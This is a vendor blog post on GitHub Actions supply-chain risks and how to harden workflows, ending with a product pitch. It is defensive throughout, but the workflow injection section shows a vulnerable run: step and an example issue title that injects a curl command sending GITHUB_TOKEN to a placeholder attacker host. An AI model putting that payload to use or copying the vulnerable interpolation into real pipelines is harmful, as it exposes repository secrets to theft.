DevSecOps

GitHub Actions Security: Hidden Supply Chain Risks

GitHub Actions workflows execute third-party code with access to your repository secrets. Most teams don't realize how much trust they're placing in action authors.

Bob
DevSecOps Engineer
5 min read

The Pipeline You Don't Control

GitHub Actions has become the dominant CI/CD platform for open-source and increasingly for enterprise development. Over 10,000 community-authored actions are available in the GitHub Marketplace. Developers add them to workflows with a single line:

- uses: some-author/some-action@v1

That line gives some-action access to your repository code, your GITHUB_TOKEN, and — depending on your configuration — your repository secrets, deployment keys, and environment variables. The action runs arbitrary code in your build environment.

Most development teams treat GitHub Actions like npm packages — they grab what looks useful without deep security review. But Actions execute in a significantly more privileged context than application dependencies. Understanding and mitigating these risks is essential.

The Trust Model

When you use a GitHub Action, you're trusting:

  1. The action author — That they wrote secure, non-malicious code
  2. The action's dependencies — Actions can use npm packages, Docker images, and other dependencies
  3. The author's account security — That their GitHub account won't be compromised
  4. The tag/version reference — That what v1 points to today is what it will point to tomorrow

Each of these trust assumptions has been violated in real-world incidents.

Attack Vectors

Mutable Tags

The most common way to reference an action is by tag: actions/checkout@v2. But git tags are mutable. The action author (or anyone who compromises their account) can move the v2 tag to point to different code. One day it's legitimate; the next day it's malicious.

This is analogous to the Codecov attack — the action's content changes silently, and your workflow picks up the change automatically.

Mitigation: Pin actions to commit SHAs:

- uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579  # v2.4.0

Commit SHAs are immutable. The content can't change without the hash changing.

Workflow Injection

GitHub Actions workflows have access to context variables like github.event.issue.title, github.event.pull_request.title, and github.event.comment.body. If these are used directly in run: steps, an attacker can inject commands by crafting malicious issue titles or PR descriptions:

# VULNERABLE
- run: echo "Processing ${{ github.event.issue.title }}"

An attacker creates an issue with the title "; curl http://evil.com/steal?token=$GITHUB_TOKEN # and achieves command injection in your workflow.

Mitigation: Never interpolate untrusted context directly into run: commands. Use environment variables instead:

- run: echo "Processing $ISSUE_TITLE"
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}

GITHUB_TOKEN Permissions

Every workflow run gets a GITHUB_TOKEN with permissions to the repository. By default, this token has broad permissions — read/write access to repository contents, pull requests, issues, and packages. A compromised action can use this token to:

  • Modify code in the repository
  • Create releases
  • Push to protected branches (in some configurations)
  • Access private packages
  • Read repository secrets through the API

Mitigation: Restrict GITHUB_TOKEN permissions to the minimum needed:

permissions:
  contents: read
  pull-requests: write

pull_request_target Danger

The pull_request_target event runs workflows in the context of the base branch, not the PR branch. This means the workflow has access to the base branch's secrets, even for PRs from forks. If the workflow also checks out the PR branch code, an attacker's fork can execute arbitrary code with access to the base repository's secrets.

This has been exploited multiple times against open-source projects. An attacker submits a PR that modifies the workflow file, and the pull_request_target trigger runs the modified workflow with the base repository's permissions.

Mitigation: Never check out PR code when using pull_request_target. If you need to check out PR code, do so in a separate, sandboxed job with no access to secrets.

Third-Party Action Compromise

Community-authored actions are maintained by individuals. If a maintainer's GitHub account is compromised, the attacker can push malicious code and move version tags. There's no formal review process for GitHub Actions. The Marketplace listing doesn't verify security or quality.

In November 2021, security researchers demonstrated that popular GitHub Actions with thousands of stars had minimal security review and could be weaponized through dependency confusion and account takeover.

Hardening Your Workflows

Pin All Actions to SHAs

Use a tool like Dependabot or StepSecurity's Harden Runner to automate SHA pinning. Maintain a comment with the version for readability:

- uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579  # v2.4.0

Minimize Permissions

Apply least privilege to every workflow:

permissions:
  contents: read

Only grant additional permissions to specific jobs that need them.

Audit Third-Party Actions

Before using a community action:

  • Review its source code
  • Check the author's reputation and account age
  • Verify it doesn't access more secrets or permissions than it needs
  • Consider using official actions or writing your own for critical pipeline steps

Restrict Secret Access

  • Don't expose secrets to jobs that don't need them
  • Use environment-level secrets to restrict access to specific deployment environments
  • Use OIDC tokens instead of long-lived credentials where possible

Monitor Workflow Changes

Use CODEOWNERS or branch protection rules to require review of changes to .github/workflows/ files. A change to a workflow file is a change to your security posture.

Use Network Restrictions

Consider tools like StepSecurity's Harden Runner that restrict outbound network access from GitHub Actions runners, preventing exfiltration to unauthorized servers.

How Safeguard.sh Helps

Safeguard.sh extends supply chain visibility to your CI/CD pipeline configuration, including GitHub Actions workflows. The platform analyzes your workflow files for security anti-patterns: unpinned action references, overly permissive token scopes, unsafe context interpolation, and dangerous event triggers like misconfigured pull_request_target.

When third-party actions you depend on are updated, Safeguard.sh tracks the changes and alerts you to modifications that could indicate compromise — new dependencies, changed behavior, or moved version tags. This monitoring catches supply chain attacks targeting your pipeline before they execute.

The platform also maintains an inventory of every third-party action used across your organization's repositories, identifying which teams use which actions and flagging unmaintained or high-risk actions. This organizational view helps security teams manage the sprawl of GitHub Actions dependencies that often grows unchecked across large development organizations.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.